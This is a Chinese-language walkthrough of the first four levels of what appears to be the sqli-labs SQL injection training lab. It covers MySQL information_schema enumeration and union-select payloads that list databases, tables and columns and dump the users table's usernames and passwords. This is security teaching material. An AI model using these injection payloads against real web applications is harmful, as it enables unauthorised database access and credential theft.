在开始闯关之前,我们记录一些基础笔记
几个常用的函数:
1.version() --Mysql版本
2.user() --数据库用户名
3.database() --数据库名
4.@@datadir --数据库安装路径
5.@@version_compile_os --操作系统的版本
常用的语句(重要):
1.查库:select schema_name from information_schema.schemata
2.查表:select table_name from information_schema.tables where table_schema='security'(此表名用的时候大多数转为16进制)
3.查列:select column_name from information_schema.columns where table_name='users'
4.查字段:select username,password from security.users
注释符:# --+ --空
字符串连接函数:
1.concat(字符串1,字符串2) --没有分隔符的连接字符串
2.concat(-/~,字符串1,字符串2) --含有分隔符的连接字符串
3.group_concat(字符串1,字符串2) --连接一个组的所有字符串,并用,分隔每一个字符。
1..order by + n : 查询结果根据第n列排序
2.在使用 order by 测试出列数后,使用 union + 数字 查看回显信息,测试回显的哪几列,
A and B A,B都Ture 结果才为Ture
A or B A,B 有一个Ture 结果就为Ture
mysql登录
1、明文密码 在bin目录下 输入:mysql -u 账户 -p 密码
2、**密码 在bin目录下 输入:mysql -u 账户 -p 后回车再输入密码
以及了解注入中字符型数字型搜索型区别和判断
区别:
https://blog.csdn.net/change518/article/details/8116920/
判断:
https://blog.csdn.net/qq_30464257/article/details/84495884
判断中讲的比较简单明了,根据闯关结合容易理解了就。
总结一下
第一关:id=’1‘
第二关:id=1
第三关:id=(’1‘)
第四关:id= (“1”)
LESSON1
1.在进行注入前判断注入类型。
我们看到第一关的要求:请输入ID作为数字型参数
(1)?id=1 正常
(2)?id=1' 报错
(3)?id=1'' 又恢复正常
由此,单引号错误,双引号恢复正常,可见是字符型注入。
2.对列进行判断(通过order by进行判断)
可以采用二分法去猜测。
由此判断一共有三列
3.判断回显位置。
输入?id=-1' union select 1,2,3 --+ (union联合注入查询)
必须在union前的参数报错才可以执行,所以将id=1改为id=-1
用户名为第二列,密码为第三列。
4.查询所有数据库
输入:?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
查库操作发现共有库:information_schema,challenges,dvwa,jokedb,mysql,pikachu,pkxss,security,test
5.显示当前所在的数据库名
输入:?id=-1' union select 1,database(),3 --+
所在库为 security
6.查询数据库的表名
输入: ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+
表信息:emails,referers,uagents,users
注意在使用 table_schema=“security”时 推荐将其变为16进制 选中单词点击即可 加入0x (16进制标志)
7.查询目标表的列(查列)
输入: ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
可以看出 列中含有 user和password列
8.查字段 在user表中查询字段
查询的是password
输入?id=-1' union select 1,2,group_concat(password) from security.users --+
查询username
同时也可以使用 concat_ws(~,A,B)来同时查询username 和password
输入:?id=-1' union select 1,2,concat_ws("~",username,password) from security.users --+
我们发现只有一组数据,所以可以再次使用group_concat函数再次包裹(可以注意一下,同时其中的~号并不推荐可以改为16进制0x7e效果也是一样的)
?id=-1' union select 1,2,group_concat(concat_ws("~",username,password)) from security.users --+
至此,我们第一关结束啦~
LESSON2
我们进入第二关
题目要求:请输入ID作为带数值的参数。
1.判断注入类型
我们可以判断出这次是数字型注入,而不是第一关的字符型注入。(数字型用的id=1不用加’)
2.依旧是采用order by 语句利用二分法判断列数
得到依旧是3列
3.查看显示位,判断注入位置,之后就是获取数据库表名,列名,字段名,和第一关步骤相同
判断注入位置
接着查询所有数据库
查询当前数据库名称
注册爆表
注入uers列的字段
查询字段username,password
这里以password为例
完成
LESSON3
1.首先,我们依旧是判断注入类型
这一关通过输入?id=1‘出现报错,不加单引号可以显示,可以推测是有符号包裹的
通过输出sql语句或者观察源码可以看见包裹形式为(’‘),所以要通过’)闭合sql语句。
剩下的步骤也是相同的,我就不再一一演示了
如图所示,通过输入这些可以将username和password 同时显示出来
LESSON4
一样的道理,我们可以通过观察源码显示,测试到格式为(“”) 所以我们输入的?id=1”)
然后剩下的步骤依旧相同
可以这样同时显示用户名和密码了。